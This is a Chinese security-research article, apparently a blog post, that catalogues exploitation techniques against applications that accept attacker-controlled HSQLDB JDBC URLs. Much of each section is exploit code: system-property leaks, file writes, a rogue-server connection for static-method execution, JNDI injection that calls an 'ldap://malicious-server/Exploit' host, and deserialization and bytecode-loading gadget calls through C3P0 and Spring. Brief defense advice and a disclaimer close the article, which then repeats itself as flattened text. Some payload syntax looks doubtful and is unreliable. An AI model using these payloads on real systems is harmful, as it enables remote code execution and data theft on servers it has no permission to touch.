基于 hsqldb造成的 jdbc各种利用手法
字数 1746 2025-09-23 19:27:46

基于HSQLDB的JDBC攻击利用手法详解

前言

HSQLDB(HyperSQL Database)是一个轻量级的关系型数据库,支持JDBC连接。在特定配置下,HSQLDB的JDBC连接字符串可能被恶意利用,导致信息泄露、文件写入、甚至远程代码执行(RCE)。本文详细分析基于HSQLDB的JDBC攻击利用手法。


1. 读取敏感信息

漏洞原理

HSQLDB的JDBC URL解析支持${}语法,用于动态获取系统属性。攻击者可通过构造包含${property}的URL,使服务器调用System.getProperty()读取敏感信息。

测试代码

// 示例:通过JDBC URL读取Java版本
String url = "jdbc:hsqldb:mem:test;${java.version}";
Connection conn = DriverManager.getConnection(url);

利用效果

  • 服务器解析URL时,会执行System.getProperty("java.version"),返回Java版本信息。
  • 可读取其他系统属性(如user.homeos.name等)。

调试分析

  • 解析URL时,HSQLDB会调用PropertyExpander.expand()处理${}占位符。
  • 内部通过System.getProperty()获取实际值,导致信息泄露。

2. 写入文件

文件模式特性

HSQLDB在文件模式(File Mode)下会生成以下文件:

  • .script:存储表结构和数据的SQL语句。
  • .log:事务日志。
  • .properties:数据库配置。
  • .data(可选):二进制表数据。

利用方法

通过JDBC URL指定文件路径,强制HSQLDB生成文件:

String url = "jdbc:hsqldb:file:/path/to/malicious_db;";
Connection conn = DriverManager.getConnection(url);

敏感信息泄露

  • .script文件中可能包含数据库用户密码(哈希加密形式)。
  • 攻击者可获取哈希并尝试碰撞破解。

3. 命令执行

前提条件

  • 攻击者需伪造恶意HSQLDB服务端。
  • 目标应用使用可控的JDBC URL连接恶意服务。

利用方法

  1. 启动恶意HSQLDB服务端(如使用工具hsqldb_rogue_server)。
  2. 构造JDBC URL指向恶意服务:
    String url = "jdbc:hsqldb:hsql://malicious-server:9001/test";
    Connection conn = DriverManager.getConnection(url);
    
  3. 恶意服务端可响应恶意Payload,触发静态方法调用。

限制

  • 仅能调用静态方法(如java.lang.Runtime.getRuntime().exec())。

4. JNDI注入

利用条件

  • 环境中存在JNDI依赖(如javax.naming.InitialContext)。
  • 可调用静态方法InitialContext.doLookup()

攻击步骤

  1. 启动恶意JNDI服务(如使用工具marshalsec)。
  2. 通过HSQLDB触发JNDI查找:
    // 示例:调用JNDI lookup
    String url = "jdbc:hsqldb:mem:test;{call javax.naming.InitialContext.doLookup('ldap://malicious-server/Exploit')}";
    Connection conn = DriverManager.getConnection(url);
    
  3. 目标服务器加载远程恶意类,触发RCE。

高版本JDK绕过

  • JDK 11+需结合其他链(如Jackson反序列化)绕过JNDI限制。

5. 配合C3P0二次反序列化

利用条件

  • 环境中存在C3P0依赖。
  • 可通过initConnectionSqls等字段传入序列化数据。

漏洞原理

  • C3P0的C3P0ImplUtils.fromByteArray()方法会反序列化字节数组。
  • HSQLDB可触发该反序列化过程。

攻击步骤

  1. 生成恶意序列化Payload(如使用Jackson链)。
  2. 通过JDBC URL触发C3P0反序列化:
    String url = "jdbc:hsqldb:mem:test;{call com.mchange.v2.c3p0.impl.C3P0ImplUtils.fromByteArray(<malicious_byte_array>)}";
    Connection conn = DriverManager.getConnection(url);
    
  3. 触发二次反序列化,执行RCE。

6. 加载字节码RCE

利用条件

  • 环境中存在Spring AOP依赖(含ReflectUtils类)。

攻击方法

  • 调用org.springframework.util.ReflectUtils的静态方法加载字节码:
    String url = "jdbc:hsqldb:mem:test;{call org.springframework.util.ReflectUtils.defineClass('MaliciousClass', <bytecode>, ClassLoader.getSystemClassLoader())}";
    Connection conn = DriverManager.getConnection(url);
    

7. 二次反序列化(Spring)

利用条件

  • 环境中存在Spring Core依赖。

攻击方法

  • 调用SerializationUtils.deserialize()反序列化数据:
    String url = "jdbc:hsqldb:mem:test;{call org.springframework.util.SerializationUtils.deserialize(<malicious_byte_array>)}";
    Connection conn = DriverManager.getConnection(url);
    

防御建议

  1. 禁止动态JDBC URL:避免用户控制JDBC连接参数。
  2. 输入过滤:对JDBC URL中的${}{}进行转义或拦截。
  3. 依赖管理:移除不必要的依赖(如C3P0、Spring AOP)。
  4. 网络隔离:限制数据库服务出网流量。

参考


免责声明:本文仅用于安全研究目的,请勿用于非法用途。

基于HSQLDB的JDBC攻击利用手法详解 前言 HSQLDB(HyperSQL Database)是一个轻量级的关系型数据库,支持JDBC连接。在特定配置下,HSQLDB的JDBC连接字符串可能被恶意利用,导致信息泄露、文件写入、甚至远程代码执行(RCE)。本文详细分析基于HSQLDB的JDBC攻击利用手法。 1. 读取敏感信息 漏洞原理 HSQLDB的JDBC URL解析支持 ${} 语法,用于动态获取系统属性。攻击者可通过构造包含 ${property} 的URL,使服务器调用 System.getProperty() 读取敏感信息。 测试代码 利用效果 服务器解析URL时,会执行 System.getProperty("java.version") ,返回Java版本信息。 可读取其他系统属性(如 user.home 、 os.name 等)。 调试分析 解析URL时,HSQLDB会调用 PropertyExpander.expand() 处理 ${} 占位符。 内部通过 System.getProperty() 获取实际值,导致信息泄露。 2. 写入文件 文件模式特性 HSQLDB在文件模式(File Mode)下会生成以下文件: .script :存储表结构和数据的SQL语句。 .log :事务日志。 .properties :数据库配置。 .data (可选):二进制表数据。 利用方法 通过JDBC URL指定文件路径,强制HSQLDB生成文件: 敏感信息泄露 .script 文件中可能包含数据库用户密码(哈希加密形式)。 攻击者可获取哈希并尝试碰撞破解。 3. 命令执行 前提条件 攻击者需伪造恶意HSQLDB服务端。 目标应用使用可控的JDBC URL连接恶意服务。 利用方法 启动恶意HSQLDB服务端(如使用工具 hsqldb_rogue_server )。 构造JDBC URL指向恶意服务: 恶意服务端可响应恶意Payload,触发静态方法调用。 限制 仅能调用静态方法(如 java.lang.Runtime.getRuntime().exec() )。 4. JNDI注入 利用条件 环境中存在JNDI依赖(如 javax.naming.InitialContext )。 可调用静态方法 InitialContext.doLookup() 。 攻击步骤 启动恶意JNDI服务(如使用工具 marshalsec )。 通过HSQLDB触发JNDI查找: 目标服务器加载远程恶意类,触发RCE。 高版本JDK绕过 JDK 11+需结合其他链(如Jackson反序列化)绕过JNDI限制。 5. 配合C3P0二次反序列化 利用条件 环境中存在C3P0依赖。 可通过 initConnectionSqls 等字段传入序列化数据。 漏洞原理 C3P0的 C3P0ImplUtils.fromByteArray() 方法会反序列化字节数组。 HSQLDB可触发该反序列化过程。 攻击步骤 生成恶意序列化Payload(如使用Jackson链)。 通过JDBC URL触发C3P0反序列化: 触发二次反序列化,执行RCE。 6. 加载字节码RCE 利用条件 环境中存在Spring AOP依赖(含 ReflectUtils 类)。 攻击方法 调用 org.springframework.util.ReflectUtils 的静态方法加载字节码: 7. 二次反序列化(Spring) 利用条件 环境中存在Spring Core依赖。 攻击方法 调用 SerializationUtils.deserialize() 反序列化数据: 防御建议 禁止动态JDBC URL :避免用户控制JDBC连接参数。 输入过滤 :对JDBC URL中的 ${} 和 {} 进行转义或拦截。 依赖管理 :移除不必要的依赖(如C3P0、Spring AOP)。 网络隔离 :限制数据库服务出网流量。 参考 HSQLDB JDBC攻击原理解析 工具: hsqldb_rogue_server 、 marshalsec 免责声明 :本文仅用于安全研究目的,请勿用于非法用途。